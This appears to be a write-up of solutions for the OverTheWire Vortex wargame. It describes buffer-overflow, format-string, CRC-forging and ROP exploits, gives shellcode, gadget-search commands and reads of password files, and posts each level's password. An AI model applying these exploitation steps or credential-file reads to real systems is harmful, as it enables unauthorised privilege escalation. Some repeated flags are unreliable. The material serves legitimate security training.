This folder contains solutions for the Vortex wargame from OverTheWire.
{% include_relative scripts/level0/level0.py %}
Flag: Gq#qu3bF3
{% include_relative scripts/level1/level1.py %}
run this line (./level1.py;cat) | /vortex/vortex1
Flag: WyEmn5wiX
in this level, we exploit the tar archive by archiving vortex3
password file, and when extracting, we can read it.
cd /etc/vortex_pass/
/vortex/vortex2 vortex3
tar xvf /tmp/ownership.$\$.tar
Flag: YAVzRBMI4
another buffer overflow challenge.
here we will take the address
0x08049052
, and this will be lpp. it points to 0x0804b1e0
, which points to the exit func, our buffer will put the shell code there.
{% include_relative scripts/level3/level3.py %}
Flag: v9kEqvkkq
In this challenge, we had a format string attack.
Here, we needed to manipulate the stack to find where our stored memory is. We used $
inside format strings to navigate through the stack.
I wrote a simple solution, as shown above, that writes each byte to the memory of the exit_plt_address
.
The exit_plt_address
is 0x804c008
, and the next addresses are: 0x804c009
, 0x804c00a
, 0x804c00b
, which all contain characters, causing the print to stop when using Python.
So, we needed to insert 3 bytes into the first address and 1 byte into the fourth address. This results in a long string being printed.
I wrote this C code to run /vortex/vortex4
with the payload (level4.c
).
{% include_relative scripts/level4/level4.py %}
. You need to adjust the address_of_exit
and address_of_shellcode
, debug, and find them.
Flag: heo3EbnS9
{% include_relative scripts/level4/level4_with_payload.c %}
and just provide the payload inside, the regular payload will work.
in this challenge we run brute force on md5, which approved to be vulnerable to collision attack.
{% include_relative scripts/level5/level5.py %}
, which will do the brute force for us.
example output:
Brute-forcing started...
Password is: rlTf6
Brute-forcing ended...
Time taken: 4.70 seconds
so, the password is: rlTf6
Flag: heo3EbnS9
using basic reversing, we can see that it runs the argument we give it.
{% include_relative scripts/level6/level6.c %}
.
Flag: p4ZfutGrw
in this level we need to exploit buffer overflow. also, the CRC32 of the buffer needs to be 0xe1ca95ee
calculate the CRC
-
brute force we modify the CRC32 of the buffer by adding 4 bytes at the end, which gives us the ability to change the CRC32 to every possible value.
i decided to go on brute force, however, calculating 2^32 can be very expensive, so i added some optimization by brute forcing only 3 bytes, and the last byte can be derived directly. now it is possible to calculate the CRC, it takes about 10 seconds.
-
retrieve the CRC tables there are saved CRC tables which are stored in the memory, you need to achieve them and put them in the code. this is the command i used in radare2
pxw 256*4 @obj.crc32_table
.
build the payload
- as we can see, we can’t just override the return address, we need to put in the esp something the will point to somewhere, this will be stored in ecx. than, it will go 4 back and inside this memory, it’ll find the shellcode address.
we’ll put in ecx the address forward, and then in ebx and ebp the shellcode address.
also, you need to find the shellcode address, i put the shellcode in the buffer after @ebp+0x4, just debug and you’ll find.
{% include_relative scripts/level7/level7.py %}
, all you need to change is shellcode_address
and ecx_address
.
Flag: niEUGtu7f
in this level we can use buffer overflow to inject our code
.
the safe function below:
.
while the unsafe function:
.
as you can see we can use buffer overflow to inject our code, however, the code drops our privileges before execute the unsafe function.
we will modify the plt_print
and then, in the safe code which runs with the higher privileges, we will execute our shellcode.
this will be our shellcode that’ll be in the return address of the unsafe function:
mov eax, plt_printf_address
mov ebx, shellcode_address
mov [eax], ebx
push 1
pop eax
int 0x80 => exit()
{% include_relative scripts/level8/shellcode.py %}
{% include_relative scripts/level8/level8.py %}
.
so, modify shellcode_address
, and execute those lines:
.
Flag: hCuwrgfqn
in this level we can’t find any exec file which named “vortex9”.
so, i decided to search for a files with the name “vortex9”
find / -name "vortex9" 2>/dev/null
.
we can find this file /var/mail/vortex9
which contains the password. YAY :)
Flag: PWilau95f
in this level we need to exploit the fact the seed isn’t really randomized, and we can find it.
the difficulty with this level is the way we solve it, when we need to be fast when input the seed back to /vortex/vortex10.
this is the process:
run vortex in the background /vortex/vortex10 &
, copy the 20 numbers and give it to level10 solution
./code "[ 406d24bc, 611ce048, 730ce6d4, 6d26333f, 4c62274d, 6351d72e, 0f9cbb1f, 0beed3e0, 484b284e, 1afcb11c, 72b9599f, 4c65ffd3, 0051df7c, 492c9c2d, 0004bba9, 5855a95d, 2d85388d, 021bb254, 65d633cb, 559b6674,]"
then, we need to hope we get printable result, return our vortex10 to foreground using fg
and give it our seed. If we’ll be lucky, we’ll manage to get our shell and might have enough time to read the password, before it disconnect. YAY :(
/vortex/vortex10 &
./level10 ""
fg
# inside the shell
cat /etc/vortex_pass/vortex11
</del>
UPDATE:
I created script in python that do the whole piping process.
{% include_relative scripts/level10/level10.c %}
{% include_relative scripts/level10/pipe.py %}
.
all you need to do is to execute the piping script :)
Flag: srx196haC
I’ve found that on the heap there is an address that it + 0x40 will be the address of s
, so, we need to put there our exit plt and override it using shellcode address.
{% include_relative scripts/level11/level11.py %}
Flag: reDLd0Cai
in this challenge we need to use ROP chain in order to exploit the buffer overflow. we will find our gadgets in libc.so.6, and in ld-linux.so.2.
using this command we can see where every file is loaded:
ldd /vortex/vortex12
/lib/i386-linux-gnu/libc.so.6 (0xf7d7d000) /lib/ld-linux.so.2 (0xf7fc9000)
find “pop eax”, “pop edx”, in libc.so.6
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "pop|ret" | grep -E "pop (eax|edx) ; ret"
- pop eax -> 0x0012b311 (in libc.so.6)
- pop edx -> 0x0003be0d (in libc.so.6)
then, find “mov [edx], eax”, in ld-linux.so.2
ROPgadget --binary /lib/ld-linux.so.2 --only "mov|ret" | grep -E "mov .* \[edx\], eax ; ret"
- mov [edx], eax -> 0x0001250b (in ld-linux.so.2)
we only need to call exit, so, first let’s find “mov eax, 1”.
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "mov|ret" | grep -E "mov eax, 1"
- mov eax, 1 -> 0x0005cdb5 (in libc.so.6)
and then, call the kernel using “int 0x80”.
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --only "int"
- int 0x80 -> 0x00039ed4 (in libc.so.6)
now, we can see it tries to run this command, system("%d")
first we need to adjust the PATH variable:
export PATH=.:$PATH
and then, create link to /bin/sh
using this command:
ln -sf /bin/sh "%d"
finally :)
Flag: kklZMRIrj
stuck !
can’t execute with “argc=0”
BAD :(
Flag: kklZMRIrj